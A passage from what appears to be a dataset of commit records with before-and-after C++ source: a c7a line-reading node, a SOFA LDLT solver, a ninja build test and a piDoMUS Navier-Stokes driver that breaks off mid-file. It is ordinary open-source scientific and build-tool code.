\/\/ Hook Read\n while (it.HasNext()) {\n auto item = it.Next();\n for (auto func : Super::callbacks_) {\n func(item);\n }\n }\n }\n\n void Dispose() final { }\n\n \/*!\n * Produces an 'empty' function stack, which only contains the identity\n * emitter function.\n *\n * \\return Empty function stack\n *\/\n auto ProduceStack() {\n return FunctionStack<std::string>();\n }\n\n std::string ToString() final {\n return \"[ReadLinesNode] Id: \" + result_file_.ToString();\n }\n\nprivate:\n \/\/! Path of the input file.\n std::string path_;\n\n std::vector<std::pair<std::string, size_t> > filesize_prefix;\n\n \/\/! InputLineIterator gives you access to lines of a file\n class InputLineIterator\n {\n public:\n const size_t read_size = 2 * 1024 * 1024;\n\n \/\/! Creates an instance of iterator that reads file line based\n InputLineIterator(\n const std::vector<FileSizePair >& files,\n size_t my_id,\n size_t num_workers)\n : files_(files),\n my_id_(my_id),\n num_workers_(num_workers) {\n\n input_size_ = files[files.size() - 1].second;\n\n \/\/ Go to start of 'local part'.\n\t\t\tauto my_start_and_end = common::CalculateLocalRange(input_size_, num_workers_, my_id_);\n\t\t\t\n\t\t\tsize_t my_start = std::get<0>(my_start_and_end);\n\t\t\tmy_end_ = std::get<1>(my_start_and_end);\n\n while (files_[current_file_].second <= my_start) {\n current_file_++;\n }\n\n c_file_ = OpenFile(files_[current_file_].first);\n\n \/\/ find offset in current file:\n \/\/ offset = start - sum of previous file sizes\n if (current_file_) {\n offset_ = lseek(c_file_, my_start - files_[current_file_ - 1].second, SEEK_CUR);\n current_size_ = files_[current_file_].second - files_[current_file_ - 1].second;\n }\n else {\n offset_ = lseek(c_file_, my_start, SEEK_CUR);\n current_size_ = files_[0].second;\n }\n\n if (offset_ != 0) {\n offset_ = lseek(c_file_, -1, SEEK_CUR);\n bb_.Reserve(read_size);\n ssize_t buffer_size = read(c_file_, bb_.data(), read_size);\n bb_.set_size(buffer_size);\n current_ = 1;\n\n\t\t\t\t\/\/Move to next newline, if local part does not start at the beginning of a line.\n if (bb_[0] != '\\n') {\n bool found_n = false;\n\n \/\/ find next newline, discard all previous data as previous worker already covers it\n while (!found_n) {\n for (auto it = bb_.begin() + current_; it != bb_.end(); it++) {\n if (C7A_UNLIKELY(*it == '\\n')) {\n current_ = it - bb_.begin() + 1;\n found_n = true;\n break;\n }\n }\n \/\/ no newline found: read new data into buffer_builder\n if (!found_n) {\n current_ = 0;\n offset_ += bb_.size();\n buffer_size = read(c_file_, bb_.data(), read_size);\n\t\t\t\t\t\t\t\/\/EOF = newline per definition\n\t\t\t\t\t\t\tif (!buffer_size) {\n\t\t\t\t\t\t\t\tfound_n = true;\n\t\t\t\t\t\t\t}\n bb_.set_size(buffer_size);\n }\n }\n assert(bb_[current_ - 1] == '\\n' || !buffer_size);\n }\n }\n else {\t\t\t\t\n bb_.Reserve(read_size);\n ssize_t buffer_size = read(c_file_, bb_.data(), read_size);\n bb_.set_size(buffer_size);\n }\n }\n\n \/\/! returns the next element if one exists\n \/\/!\n \/\/! does no checks whether a next element exists!\n std::string Next() {\n while (true) {\n std::string ret;\n for (auto it = bb_.begin() + current_; it != bb_.end(); it++) {\n if (C7A_UNLIKELY(*it == '\\n')) {\n size_t strlen = it - bb_.begin() - current_;\n current_ = it - bb_.begin() + 1;\n return ret.append(bb_.PartialToString(current_ - strlen - 1, strlen));\n }\n }\n ret.append(bb_.PartialToString(current_, bb_.size() - current_));\n current_ = 0;\n ssize_t buffer_size = read(c_file_, bb_.data(), read_size);\n offset_ += bb_.size();\n if (buffer_size) {\n bb_.set_size(buffer_size);\n }\n else {\n close(c_file_);\n current_file_++;\n offset_ = 0;\n\n \/\/ REVIEW(an): you must extract all the open() commands\n \/\/ (this and first) into a function OpenFile() if we are to\n \/\/ add decompressors.\n\n c_file_ = OpenFile(files_[current_file_].first);\n ssize_t buffer_size = read(c_file_, bb_.data(), read_size);\n bb_.set_size(buffer_size);\n\n if (ret.length()) {\n return ret;\n }\n }\n }\n }\n\n \/\/! returns true, if an element is available in local part\n bool HasNext() {\n if (current_file_) {\n return (offset_ + current_ + files_[current_file_ - 1].second < my_end_);\n }\n else {\n return offset_ + current_ < my_end_;\n }\n }\n\n\t\t\/\/! Open file and return file handle\n\t\t\/\/! \\param path Path to open\n\t\tint OpenFile(const std::string& path) {\n\t\t\treturn open(path.c_str(), O_RDONLY);\n\t\t}\n\n private:\n \/\/! Input files with inclusive size prefixsum.\n std::vector<FileSizePair > files_;\n \/\/! Index of current file in files_\n size_t current_file_ = 0;\n \/\/! Size of current file in bytes\n size_t current_size_;\n\t\t\/\/! File handle to files_[current_file_]\n int c_file_;\n\t\t\/\/! Offset of current block in c_file_.\n size_t offset_;\n \/\/! Size of all files combined (in bytes)\n size_t input_size_;\n \/\/! Worker ID\n size_t my_id_;\n \/\/! total number of workers\n size_t num_workers_;\n \/\/! (exclusive) end of local block\n size_t my_end_;\n\t\t\/\/! Byte buffer to create line-std::strings\n net::BufferBuilder bb_;\n\t\t\/\/! Start of next element in current buffer.\n size_t current_ = 0;\n };\n\n \/\/! Returns an InputLineIterator with a given input file stream.\n \/\/!\n \/\/! \\param file Input file stream\n \/\/! \\param my_id Id of this worker\n \/\/! \\param num_work Number of workers\n \/\/!\n \/\/! \\return An InputLineIterator for a given file stream\n InputLineIterator GetInputLineIterator(\n \/\/ REVIEW(an): please make some using typedefs!\n std::vector<FileSizePair> files, size_t my_id, size_t num_work) {\n return InputLineIterator(files, my_id, num_work);\n }\n};\n\nDIARef<std::string> ReadLines(Context& ctx, std::string filepath) {\n\n StatsNode* stats_node = ctx.stats_graph().AddNode(\"ReadLines\", NodeType::DOP);\n\n auto shared_node =\n std::make_shared<ReadLinesNode>(\n ctx, filepath, stats_node);\n\n auto read_stack = shared_node->ProduceStack();\n\n return DIARef<std::string, decltype(read_stack)>(\n shared_node, read_stack, { stats_node });\n}\n\n\/\/! \\}\n\n} \/\/ namespace api\n} \/\/ namespace c7a\n\n#endif \/\/ !C7A_API_READ_LINES_HEADER\n\n\/******************************************************************************\/\n<commit_msg>Move semantics!<commit_after>\/*******************************************************************************\n * c7a\/api\/read_lines.hpp\n *\n * Part of Project c7a.\n *\n * Copyright (C) 2015 Alexander Noe <aleexnoe@gmail.com>\n * Copyright (C) 2015 Timo Bingmann <tb@panthema.net>\n *\n * This file has no license. Only Chuck Norris can compile it.\n ******************************************************************************\/\n\n#pragma once\n#ifndef C7A_API_READ_LINES_HEADER\n#define C7A_API_READ_LINES_HEADER\n\n#include <c7a\/api\/dia.hpp>\n#include <c7a\/api\/dop_node.hpp>\n#include <c7a\/common\/logger.hpp>\n#include <c7a\/net\/buffer_builder.hpp>\n\/\/ C7A_{\/UN}LIKELY\n#include <c7a\/common\/math.hpp>\n#include <c7a\/common\/item_serialization_tools.hpp>\n\n#include <fcntl.h>\n#include <fstream>\n#include <glob.h>\n#include <string>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n\nnamespace c7a {\nnamespace api {\n\n\/\/! \\addtogroup api Interface\n\/\/! \\{\n\n\/*!\n * A DIANode which performs a line-based Read operation. Read reads a file from\n * the file system and emits it as a DIA.\n *\/\nclass ReadLinesNode : public DOpNode<std::string>\n{\npublic:\n using Super = DOpNode<std::string>;\n using Super::context_;\n using Super::result_file_;\n\tusing FileSizePair = std::pair<std::string, size_t>;\n\n \/*!\n * Constructor for a ReadLinesNode. Sets the Context\n * and file path.\n *\n * \\param ctx Reference to Context, which holds references to data and\n * network.\n *\n * \\param path Path of the input file(s)\n *\/\n ReadLinesNode(Context& ctx,\n const std::string& path,\n StatsNode* stats_node)\n : Super(ctx, { }, \"Read\", stats_node),\n path_(path)\n {\n glob_t glob_result;\n struct stat filestat;\n glob(path_.c_str(), GLOB_TILDE, nullptr, &glob_result);\n size_t directory_size = 0;\n\n for (unsigned int i = 0; i < glob_result.gl_pathc; ++i) {\n const char* filepath = glob_result.gl_pathv[i];\n\n if (stat(filepath, &filestat)) {\n throw std::runtime_error(\n \"ERROR: Invalid file \" + std::string(filepath));\n }\n if (!S_ISREG(filestat.st_mode)) continue;\n\n directory_size += filestat.st_size;\n\n filesize_prefix.emplace_back(std::move(filepath), directory_size);\n }\n globfree(&glob_result);\n }\n\n void Execute() final { }\n\n void PushData() final {\n InputLineIterator it = GetInputLineIterator(\n filesize_prefix, context_.my_rank(), context_.num_workers());\n\n \/\/ Hook Read\n while (it.HasNext()) {\n auto item = it.Next();\n for (auto func : Super::callbacks_) {\n func(item);\n }\n }\n }\n\n void Dispose() final { }\n\n \/*!\n * Produces an 'empty' function stack, which only contains the identity\n * emitter function.\n *\n * \\return Empty function stack\n *\/\n auto ProduceStack() {\n return FunctionStack<std::string>();\n }\n\n std::string ToString() final {\n return \"[ReadLinesNode] Id: \" + result_file_.ToString();\n }\n\nprivate:\n \/\/! Path of the input file.\n std::string path_;\n\n std::vector<std::pair<std::string, size_t> > filesize_prefix;\n\n \/\/! InputLineIterator gives you access to lines of a file\n class InputLineIterator\n {\n public:\n const size_t read_size = 2 * 1024 * 1024;\n\n \/\/! Creates an instance of iterator that reads file line based\n InputLineIterator(\n const std::vector<FileSizePair >& files,\n size_t my_id,\n size_t num_workers)\n : files_(files),\n my_id_(my_id),\n num_workers_(num_workers) {\n\n input_size_ = files[files.size() - 1].second;\n\n \/\/ Go to start of 'local part'.\n\t\t\tauto my_start_and_end = common::CalculateLocalRange(input_size_, num_workers_, my_id_);\n\t\t\t\n\t\t\tsize_t my_start = std::get<0>(my_start_and_end);\n\t\t\tmy_end_ = std::get<1>(my_start_and_end);\n\n while (files_[current_file_].second <= my_start) {\n current_file_++;\n }\n\n c_file_ = OpenFile(files_[current_file_].first);\n\n \/\/ find offset in current file:\n \/\/ offset = start - sum of previous file sizes\n if (current_file_) {\n offset_ = lseek(c_file_, my_start - files_[current_file_ - 1].second, SEEK_CUR);\n current_size_ = files_[current_file_].second - files_[current_file_ - 1].second;\n }\n else {\n offset_ = lseek(c_file_, my_start, SEEK_CUR);\n current_size_ = files_[0].second;\n }\n\n if (offset_ != 0) {\n offset_ = lseek(c_file_, -1, SEEK_CUR);\n bb_.Reserve(read_size);\n ssize_t buffer_size = read(c_file_, bb_.data(), read_size);\n bb_.set_size(buffer_size);\n current_ = 1;\n\n\t\t\t\t\/\/Move to next newline, if local part does not start at the beginning of a line.\n if (bb_[0] != '\\n') {\n bool found_n = false;\n\n \/\/ find next newline, discard all previous data as previous worker already covers it\n while (!found_n) {\n for (auto it = bb_.begin() + current_; it != bb_.end(); it++) {\n if (C7A_UNLIKELY(*it == '\\n')) {\n current_ = it - bb_.begin() + 1;\n found_n = true;\n break;\n }\n }\n \/\/ no newline found: read new data into buffer_builder\n if (!found_n) {\n current_ = 0;\n offset_ += bb_.size();\n buffer_size = read(c_file_, bb_.data(), read_size);\n\t\t\t\t\t\t\t\/\/EOF = newline per definition\n\t\t\t\t\t\t\tif (!buffer_size) {\n\t\t\t\t\t\t\t\tfound_n = true;\n\t\t\t\t\t\t\t}\n bb_.set_size(buffer_size);\n }\n }\n assert(bb_[current_ - 1] == '\\n' || !buffer_size);\n }\n }\n else {\t\t\t\t\n bb_.Reserve(read_size);\n ssize_t buffer_size = read(c_file_, bb_.data(), read_size);\n bb_.set_size(buffer_size);\n }\n }\n\n \/\/! returns the next element if one exists\n \/\/!\n \/\/! does no checks whether a next element exists!\n std::string Next() {\n while (true) {\n std::string ret;\n for (auto it = bb_.begin() + current_; it != bb_.end(); it++) {\n if (C7A_UNLIKELY(*it == '\\n')) {\n size_t strlen = it - bb_.begin() - current_;\n current_ = it - bb_.begin() + 1;\n return ret.append(bb_.PartialToString(current_ - strlen - 1, strlen));\n }\n }\n ret.append(bb_.PartialToString(current_, bb_.size() - current_));\n current_ = 0;\n ssize_t buffer_size = read(c_file_, bb_.data(), read_size);\n offset_ += bb_.size();\n if (buffer_size) {\n bb_.set_size(buffer_size);\n }\n else {\n close(c_file_);\n current_file_++;\n offset_ = 0;\n\n \/\/ REVIEW(an): you must extract all the open() commands\n \/\/ (this and first) into a function OpenFile() if we are to\n \/\/ add decompressors.\n\n c_file_ = OpenFile(files_[current_file_].first);\n ssize_t buffer_size = read(c_file_, bb_.data(), read_size);\n bb_.set_size(buffer_size);\n\n if (ret.length()) {\n return ret;\n }\n }\n }\n }\n\n \/\/! returns true, if an element is available in local part\n bool HasNext() {\n if (current_file_) {\n return (offset_ + current_ + files_[current_file_ - 1].second < my_end_);\n }\n else {\n return offset_ + current_ < my_end_;\n }\n }\n\n\t\t\/\/! Open file and return file handle\n\t\t\/\/! \\param path Path to open\n\t\tint OpenFile(const std::string& path) {\n\t\t\treturn open(path.c_str(), O_RDONLY);\n\t\t}\n\n private:\n \/\/! Input files with inclusive size prefixsum.\n std::vector<FileSizePair> files_;\n \/\/! Index of current file in files_\n size_t current_file_ = 0;\n \/\/! Size of current file in bytes\n size_t current_size_;\n\t\t\/\/! File handle to files_[current_file_]\n int c_file_;\n\t\t\/\/! Offset of current block in c_file_.\n size_t offset_;\n \/\/! Size of all files combined (in bytes)\n size_t input_size_;\n \/\/! Worker ID\n size_t my_id_;\n \/\/! total number of workers\n size_t num_workers_;\n \/\/! (exclusive) end of local block\n size_t my_end_;\n\t\t\/\/! Byte buffer to create line-std::strings\n net::BufferBuilder bb_;\n\t\t\/\/! Start of next element in current buffer.\n size_t current_ = 0;\n };\n\n \/\/! Returns an InputLineIterator with a given input file stream.\n \/\/!\n \/\/! \\param file Input file stream\n \/\/! \\param my_id Id of this worker\n \/\/! \\param num_work Number of workers\n \/\/!\n \/\/! \\return An InputLineIterator for a given file stream\n InputLineIterator GetInputLineIterator(\n \/\/ REVIEW(an): please make some using typedefs!\n std::vector<FileSizePair> files, size_t my_id, size_t num_work) {\n return InputLineIterator(files, my_id, num_work);\n }\n};\n\nDIARef<std::string> ReadLines(Context& ctx, std::string filepath) {\n\n StatsNode* stats_node = ctx.stats_graph().AddNode(\"ReadLines\", NodeType::DOP);\n\n auto shared_node =\n std::make_shared<ReadLinesNode>(\n ctx, filepath, stats_node);\n\n auto read_stack = shared_node->ProduceStack();\n\n return DIARef<std::string, decltype(read_stack)>(\n shared_node, read_stack, { stats_node });\n}\n\n\/\/! \\}\n\n} \/\/ namespace api\n} \/\/ namespace c7a\n\n#endif \/\/ !C7A_API_READ_LINES_HEADER\n\n\/******************************************************************************\/\n<|endoftext|>"} {"text":"<commit_before>#include \"LDLTResponse.h\"\n\n#include <sofa\/core\/ObjectFactory.h>\n\nnamespace sofa {\nnamespace component {\nnamespace linearsolver {\n\nSOFA_DECL_CLASS(LDLTResponse)\nint LDLTResponseClass = core::RegisterObject(\"A sparse Cholesky factorization of the response matrix.\").add< LDLTResponse >();\n \n\nLDLTResponse::LDLTResponse()\n : regularize( initData(®ularize, \n std::numeric_limits<real>::epsilon(),\n\t\t\t\t\t\t \"regularize\", \n\t\t\t\t\t\t \"add identity*regularize to matrix H to make it definite.\")),\n\t constant( initData(&constant, \n\t\t\t\t\t\t false,\n\t\t\t\t\t\t \"constant\",\n \"reuse first factorization\")),\n factorized( false )\n{}\n\n\nvoid LDLTResponse::reinit()\n{\n Response::reinit();\n factorized = false;\n}\n\nvoid LDLTResponse::factor(const mat& H, bool semidefinite ) {\n\n if( constant.getValue() && factorized ) return;\n\n factorized = true;\n\n if( regularize.getValue() && semidefinite ) {\n\t\t\/\/ add a tiny diagonal matrix to make H psd.\n \/\/ TODO add epsilon only on the empty diagonal entries?\n system_type::rmat identity(H.rows(),H.cols());\n identity.setIdentity();\n response.compute( ( H + identity * regularize.getValue() ).selfadjointView<Eigen::Upper>() );\n }\n else\n {\n \/\/ TODO make sure no temporary is used ?\n response.compute( H.selfadjointView<Eigen::Upper>() );\n }\n\n\t\n\tif( response.info() != Eigen::Success ) {\n serr << \"non invertible response\" << sendl;\n\t}\n\n\tassert( response.info() == Eigen::Success );\n\n}\n\nvoid LDLTResponse::solve(cmat& res, const cmat& M) const {\n\tassert( response.rows() );\n\tres = response.solve( M );\n}\n\n\nvoid LDLTResponse::solve(vec& res, const vec& x) const {\n\tassert( response.rows() );\n\tres = response.solve( x );\n}\n\n}\n}\n}\n<commit_msg>Flexible_test: fixing crashes. But these tests are suspicious, because they are fixing all independent dofs (projective constraints).<commit_after>#include \"LDLTResponse.h\"\n\n#include <sofa\/core\/ObjectFactory.h>\n\nnamespace sofa {\nnamespace component {\nnamespace linearsolver {\n\nSOFA_DECL_CLASS(LDLTResponse)\nint LDLTResponseClass = core::RegisterObject(\"A sparse Cholesky factorization of the response matrix.\").add< LDLTResponse >();\n \n\nLDLTResponse::LDLTResponse()\n : regularize( initData(®ularize, \n std::numeric_limits<real>::epsilon(),\n\t\t\t\t\t\t \"regularize\", \n\t\t\t\t\t\t \"add identity*regularize to matrix H to make it definite.\")),\n\t constant( initData(&constant, \n\t\t\t\t\t\t false,\n\t\t\t\t\t\t \"constant\",\n \"reuse first factorization\")),\n factorized( false )\n{}\n\n\nvoid LDLTResponse::reinit()\n{\n Response::reinit();\n factorized = false;\n}\n\nvoid LDLTResponse::factor(const mat& H, bool semidefinite ) {\n\n#ifndef NDEBUG\n if( !H.rows() ) serr<<\"factor - null matrix\"<<sendl;\n#endif\n\n if( constant.getValue() && factorized ) return;\n\n factorized = true;\n\n if( regularize.getValue() && semidefinite ) {\n\t\t\/\/ add a tiny diagonal matrix to make H psd.\n \/\/ TODO add epsilon only on the empty diagonal entries?\n system_type::rmat identity(H.rows(),H.cols());\n identity.setIdentity();\n response.compute( ( H + identity * regularize.getValue() ).selfadjointView<Eigen::Upper>() );\n }\n else\n {\n \/\/ TODO make sure no temporary is used ?\n response.compute( H.selfadjointView<Eigen::Upper>() );\n }\n\n\t\n\tif( response.info() != Eigen::Success ) {\n serr << \"non invertible response\" << sendl;\n\t}\n\n\tassert( response.info() == Eigen::Success );\n\n}\n\nvoid LDLTResponse::solve(cmat& res, const cmat& M) const {\n\tres = response.solve( M );\n}\n\n\nvoid LDLTResponse::solve(vec& res, const vec& x) const {\n\tres = response.solve( x );\n}\n\n}\n}\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"ninja.h\"\n\n#include <gtest\/gtest.h>\n\nstruct NinjaTest : public testing::Test {\n NinjaTest() {\n rule_cat_ = state_.AddRule(\"cat\", \"cat @in > $out\");\n }\n\n Rule* rule_cat_;\n State state_;\n};\n\nTEST_F(NinjaTest, Basic) {\n Edge* edge = state_.AddEdge(rule_cat_);\n state_.AddInOut(edge, Edge::IN, \"in1\");\n state_.AddInOut(edge, Edge::IN, \"in2\");\n state_.AddInOut(edge, Edge::OUT, \"out\");\n\n EXPECT_EQ(\"cat in1 in2 > out\", edge->EvaluateCommand());\n\n EXPECT_FALSE(state_.GetNode(\"in1\")->dirty());\n EXPECT_FALSE(state_.GetNode(\"in2\")->dirty());\n EXPECT_FALSE(state_.GetNode(\"out\")->dirty());\n\n state_.stat_cache()->GetFile(\"in1\")->Touch(1);\n EXPECT_TRUE(state_.GetNode(\"in1\")->dirty());\n EXPECT_FALSE(state_.GetNode(\"in2\")->dirty());\n EXPECT_TRUE(state_.GetNode(\"out\")->dirty());\n\n Plan plan(&state_);\n plan.AddTarget(\"out\");\n ASSERT_TRUE(plan.FindWork());\n ASSERT_FALSE(plan.FindWork());\n}\n\nstruct TestEnv : public EvalString::Env {\n virtual string Evaluate(const string& var) {\n return vars[var];\n }\n map<string, string> vars;\n};\nTEST(EvalString, PlainText) {\n EvalString str;\n str.Parse(\"plain text\");\n ASSERT_EQ(\"plain text\", str.Evaluate(NULL));\n}\nTEST(EvalString, OneVariable) {\n EvalString str;\n ASSERT_TRUE(str.Parse(\"hi $var\"));\n TestEnv env;\n EXPECT_EQ(\"hi \", str.Evaluate(&env));\n env.vars[\"$var\"] = \"there\";\n EXPECT_EQ(\"hi there\", str.Evaluate(&env));\n}\n<commit_msg>more test<commit_after>#include \"ninja.h\"\n\n#include <gtest\/gtest.h>\n\nstruct NinjaTest : public testing::Test {\n NinjaTest() {\n rule_cat_ = state_.AddRule(\"cat\", \"cat @in > $out\");\n }\n\n Rule* rule_cat_;\n State state_;\n};\n\nTEST_F(NinjaTest, Basic) {\n Edge* edge = state_.AddEdge(rule_cat_);\n state_.AddInOut(edge, Edge::IN, \"in1\");\n state_.AddInOut(edge, Edge::IN, \"in2\");\n state_.AddInOut(edge, Edge::OUT, \"out\");\n\n EXPECT_EQ(\"cat in1 in2 > out\", edge->EvaluateCommand());\n\n EXPECT_FALSE(state_.GetNode(\"in1\")->dirty());\n EXPECT_FALSE(state_.GetNode(\"in2\")->dirty());\n EXPECT_FALSE(state_.GetNode(\"out\")->dirty());\n\n state_.stat_cache()->GetFile(\"in1\")->Touch(1);\n EXPECT_TRUE(state_.GetNode(\"in1\")->dirty());\n EXPECT_FALSE(state_.GetNode(\"in2\")->dirty());\n EXPECT_TRUE(state_.GetNode(\"out\")->dirty());\n\n Plan plan(&state_);\n plan.AddTarget(\"out\");\n edge = plan.FindWork();\n ASSERT_TRUE(edge);\n EXPECT_EQ(\"cat in1 in2 > out\", edge->EvaluateCommand());\n ASSERT_FALSE(plan.FindWork());\n}\n\nstruct TestEnv : public EvalString::Env {\n virtual string Evaluate(const string& var) {\n return vars[var];\n }\n map<string, string> vars;\n};\nTEST(EvalString, PlainText) {\n EvalString str;\n str.Parse(\"plain text\");\n ASSERT_EQ(\"plain text\", str.Evaluate(NULL));\n}\nTEST(EvalString, OneVariable) {\n EvalString str;\n ASSERT_TRUE(str.Parse(\"hi $var\"));\n TestEnv env;\n EXPECT_EQ(\"hi \", str.Evaluate(&env));\n env.vars[\"$var\"] = \"there\";\n EXPECT_EQ(\"hi there\", str.Evaluate(&env));\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"interfaces\/non_conservative\/navier_stokes.h\"\n#include \"pidomus.h\"\n\n#include \"deal.II\/base\/numbers.h\"\n\n#include \"Teuchos_CommandLineProcessor.hpp\"\n#include \"Teuchos_GlobalMPISession.hpp\"\n#include \"Teuchos_oblackholestream.hpp\"\n#include \"Teuchos_StandardCatchMacros.hpp\"\n#include \"Teuchos_Version.hpp\"\n\n#include \"mpi.h\"\n#include <iostream>\n#include <string>\n\nvoid print_status( std::string name,\n std::string prm_file,\n int dim,\n int spacedim,\n const MPI_Comm &comm);\n\n\nint main (int argc, char *argv[])\n{\n using namespace dealii;\n using namespace deal2lkit;\n\n Teuchos::CommandLineProcessor My_CLP;\n My_CLP.setDocString(\n \".__________ _______ ______ .___ ___. __ __ _______. \\n\"\n \"|_ __ __| | \\\\ \/ __ \\\\ | \\\\\/ | | | | | \/ | \\n\"\n \" | | | | ______| .--. | | | | | \\\\ \/ | | | | | | (----` \\n\"\n \" | | | | |______| | | | | | | | |\\\\\/| | | | | | \\\\ \\\\ \\n\"\n \" | | | | | '--' | `--' | | | | | | `--' | .----) | \\n\"\n \" |_| |_| |_______\/ \\\\______\/ |__| |__| \\\\______\/ |_______\/ \\n\\n\"\n );\n\n std::string pde_name=\"navier_stokes\";\n My_CLP.setOption(\"pde\", &pde_name, \"name of the PDE (heat, stokes, dynamic_stokes, or navier_stokes)\");\n\n int spacedim = 2;\n My_CLP.setOption(\"spacedim\", &spacedim, \"dimensione of the whole space\");\n\n int dim = 2;\n My_CLP.setOption(\"dim\", &dim, \"dimension of the problem\");\n\n int n_threads = 0;\n My_CLP.setOption(\"n_threads\", &n_threads, \"number of threads\");\n\n std::string prm_file=pde_name+\".prm\";\n My_CLP.setOption(\"prm\", &prm_file, \"name of the parameter file\");\n\n \/\/ My_CLP.recogniseAllOptions(true);\n My_CLP.throwExceptions(false);\n\n Teuchos::CommandLineProcessor::EParseCommandLineReturn\n parseReturn= My_CLP.parse( argc, argv );\n\n if ( parseReturn == Teuchos::CommandLineProcessor::PARSE_HELP_PRINTED )\n {\n return 0;\n }\n if ( parseReturn != Teuchos::CommandLineProcessor::PARSE_SUCCESSFUL )\n {\n return 1; \/\/ Error!\n }\n\n\n\n Utilities::MPI::MPI_InitFinalize mpi_initialization(argc, argv,\n n_threads == 0 ? numbers::invalid_unsigned_int : n_threads);\n\n const MPI_Comm &comm = MPI_COMM_WORLD;\n\n Teuchos::oblackholestream blackhole;\n std::ostream &out = ( Utilities::MPI::this_mpi_process(comm) == 0 ? std::cout : blackhole );\n\n My_CLP.printHelpMessage(argv[0], out);\n\n deallog.depth_console (0);\n\n if (pde_name == \"navier_stokes\")\n {\n\n\n print_status( \"Navier-Stokes Equation\",\n prm_file,\n dim,\n spacedim,\n comm);\n\n if (dim==2)\n {\n NavierStokes<2> energy;\n piDoMUS<2,2,3> navier_stokes_equation (energy);\n ParameterAcceptor::initialize(prm_file, pde_name+\"_used.prm\");\n ParameterAcceptor::prm.log_parameters(deallog);\n navier_stokes_equation.run ();\n }\n else\n {\n NavierStokes<3> energy;\n piDoMUS<3,3,4> navier_stokes_equation (energy);\n ParameterAcceptor::initialize(prm_file, pde_name+\"_used.prm\");\n ParameterAcceptor::prm.log_parameters(deallog);\n navier_stokes_equation.run ();\n }\n }\n else\n {\n out << std::endl\n << \"=============================================================\"\n << std::endl\n << \" ERROR:\"\n << std::endl\n << \" \" << pde_name << \" needs to be implemented or it is bad name.\"\n << std::endl\n << \"=============================================================\";\n }\n\n out << std::endl;\n return 0;\n}\n\nvoid print_status( std::string name,\n std::string prm_file,\n int dim,\n int spacedim,\n const MPI_Comm &comm)\n{\n int numprocs = Utilities::MPI::n_mpi_processes(comm);\n int myid = Utilities::MPI::this_mpi_process(comm);\n\n Teuchos::oblackholestream blackhole;\n std::ostream &out = ( Utilities::MPI::this_mpi_process(comm) == 0 ? std::cout : blackhole );\n\n if (myid == 0)\n {\n out << std::endl\n << \"=============================================================\"\n << std::endl\n << \" Name: \" << name\n \/\/ << std::endl\n \/\/ << \"-------------------------------------------------------------\"\n << std::endl\n << \" Prm file: \" << prm_file\n << std::endl\n << \" spacedim: \" << spacedim\n << std::endl\n << \" dim: \" << dim\n << std::endl\n << \" codim: \" << spacedim-dim\n << std::endl\n << \"-------------------------------------------------------------\"\n << std::endl;\n }\n out << \" Process \" << getpid() << \" is \" << myid\n << \" of \" << numprocs << \" processes\" << std::endl;\n\n if (myid == 0)\n {\n out << \"-------------------------------------------------------------\"\n << std::endl;\n system(\"read -p \\\" Press [Enter] key to start...\\\"\");\n out << \"=============================================================\"\n <<std::endl<<std::endl;\n }\n}\n<commit_msg>indent<commit_after>#include \"interfaces\/non_conservative\/navier_stokes.h\"\n#include \"pidomus.h\"\n\n#include \"deal.II\/base\/numbers.h\"\n\n#include \"Teuchos_CommandLineProcessor.hpp\"\n#include \"Teuchos_GlobalMPISession.hpp\"\n#include \"Teuchos_oblackholestream.hpp\"\n#include \"Teuchos_StandardCatchMacros.hpp\"\n#include \"Teuchos_Version.hpp\"\n\n#include \"mpi.h\"\n#include <iostream>\n#include <string>\n\nvoid print_status( std::string name,\n std::string prm_file,\n int dim,\n int spacedim,\n const MPI_Comm &comm);\n\n\nint main (int argc, char *argv[])\n{\n using namespace dealii;\n using namespace deal2lkit;\n\n Teuchos::CommandLineProcessor My_CLP;\n My_CLP.setDocString(\n \".__________ _______ ______ .___ ___. __ __ _______. \\n\"\n \"|_ __ __| | \\\\ \/ __ \\\\ | \\\\\/ | | | | | \/ | \\n\"\n \" | | | | ______| .--. | | | | | \\\\ \/ | | | | | | (----` \\n\"\n \" | | | | |______| | | | | | | | |\\\\\/| | | | | | \\\\ \\\\ \\n\"\n \" | | | | | '--' | `--' | | | | | | `--' | .----) | \\n\"\n \" |_| |_| |_______\/ \\\\______\/ |__| |__| \\\\______\/ |_______\/ \\n\\n\"\n );\n\n std::string pde_name=\"navier_stokes\";\n My_CLP.setOption(\"pde\", &pde_name, \"name of the PDE (heat, stokes, dynamic_stokes, or navier_stokes)\");\n\n int spacedim = 2;\n My_CLP.setOption(\"spacedim\", &spacedim, \"dimensione of the whole space\");\n\n int dim = 2;\n My_CLP.setOption(\"dim\", &dim, \"dimension of the problem\");\n\n int n_threads = 0;\n My_CLP.setOption(\"n_threads\", &n_threads, \"number of threads\");\n\n std::string prm_file=pde_name+\".prm\";\n My_CLP.setOption(\"prm\", &prm_file, \"name of the parameter file\");\n\n \/\/ My_CLP.recogniseAllOptions(true);\n My_CLP.throwExceptions(false);\n\n Teuchos::CommandLineProcessor::EParseCommandLineReturn\n parseReturn= My_CLP.parse( argc, argv );\n\n if ( parseReturn == Teuchos::CommandLineProcessor::PARSE_HELP_PRINTED )\n {\n return 0;\n }\n if ( parseReturn != Teuchos::CommandLineProcessor::PARSE_SUCCESSFUL )\n {\n return 1; \/\/ Error!\n }\n\n Utilities::MPI::MPI_InitFinalize mpi_initialization(argc, argv,\n n_threads == 0 ? numbers::invalid_unsigned_int : n_threads);\n\n const MPI_Comm &comm = MPI_COMM_WORLD;\n\n Teuchos::oblackholestream blackhole;\n std::ostream &out = ( Utilities::MPI::this_mpi_process(comm) == 0 ? std::cout : blackhole );\n\n My_CLP.printHelpMessage(argv[0], out);\n\n deallog.depth_console (0);\n\n if (pde_name == \"navier_stokes\")\n {\n\n\n print_status( \"Navier-Stokes Equation\",\n prm_file,\n dim,\n spacedim,\n comm);\n\n if (dim==2)\n {\n NavierStokes<2> energy;\n piDoMUS<2,2,3> navier_stokes_equation (energy);\n ParameterAcceptor::initialize(prm_file, pde_name+\"_used.prm\");\n ParameterAcceptor::prm.log_parameters(deallog);\n navier_stokes_equation.run ();\n }\n else\n {\n NavierStokes<3> energy;\n piDoMUS<3,3,4> navier_stokes_equation (energy);\n ParameterAcceptor::initialize(prm_file, pde_name+\"_used.prm\");\n ParameterAcceptor::prm.log_parameters(deallog);\n navier_stokes_equation.run ();\n }\n }\n else\n {\n out << std::endl\n << \"=============================================================\"\n << 